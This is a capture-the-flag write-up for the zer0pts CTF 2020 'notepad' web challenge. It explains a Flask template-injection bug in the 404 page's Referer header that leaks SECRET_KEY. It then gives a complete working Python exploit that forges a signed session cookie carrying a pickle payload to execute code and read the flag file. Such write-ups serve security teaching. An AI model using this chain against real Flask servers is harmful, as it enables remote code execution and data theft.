Try   HackMD

[zer0pts CTF 2020] notepad

tags: zer0pts CTF, zer0pts CTF 2020, web

Solution

As you can see from app.py, there is a Server-Side Template Injection (SSTI) vulnerability via Referer header in 404 page.

@app.errorhandler(404) def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404

In Flask, SSTI can easily be led to arbitrary code execution like this article. However, Referer header is checked with valid_url function that checks if the URL starts with its host and the length of the path is shorter than 16 chars.

def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True

So, with this SSTI vulnerability, you can do limited things like exfiltrating SECRET_KEY, which is used to sign and verify client session data, with {{config}}.

$ curl http://3.112.201.75:8001/404 -H "Referer: http://3.112.201.75:8001/{{config}}"
<html><head><meta http-equiv="Refresh" content="3;URL=http://3.112.201.75:8001/&lt;Config {… &#39;SECRET_KEY&#39;: b&#39;\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I&#39;, …

Anyway, it's useful to tamper sessions. In this app, session is used for storing notes, which is serialized with pickle.

@app.route('/new', methods=['GET']) def new(): """ Create a new note """ data = load() data.append({"date": now(), "text": "", "title": "*New Note*"}) flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) return flask.redirect('/note/' + str(len(data) - 1))
def load(): """ Load saved notes """ try: savedata = flask.session.get('savedata', None) data = pickle.loads(base64.b64decode(savedata)) except: data = [{"date": now(), "text": "", "title": "*New Note*"}] return data

As noted in the official document, pickle module is not secure to load untrusted data and can be led to arbitrary code execution.

While referring to past challenge, let's write an exploit that retrieves SECRET_KEY, sign payload with obtained SECRET_KEY, and send request with tampered session.

import base64
import html
import re
import requests
import flask.sessions

HOST = 'http://3.112.201.75:8001/'

class App(object):
  def __init__(self, secret_key):
    self.secret_key = secret_key

def sign(secret_key, data):
  app = App(secret_key)
  si = flask.sessions.SecureCookieSessionInterface()
  s = si.get_signing_serializer(app)
  return s.dumps(data)

r = requests.get(HOST + '404', headers={
  'Referer': HOST + '{{config}}'
})
r = html.unescape(r.content.decode())
secret_key = eval(re.findall(r"'SECRET_KEY': (b'.+?')", r)[0])
print('secret_key:', secret_key)

code = b"c__builtin__\neval\n(S'open(\\'/home/web/flag\\').read()'\ntR"
sig = sign(secret_key, {'savedata': base64.b64encode(b"(lp0\n(dp1\nS'date'\np2\nI0\nsS'text'\np3\nS''\np4\nsS'title'\np5\n" + code + b"p6\nsa.")})

r = requests.get(HOST, cookies={
  'session': sig
})
print(re.findall(rb'(zer0pts\{.+\})', r.content)[0])
$ python solve.py
secret_key: b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
b'zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}'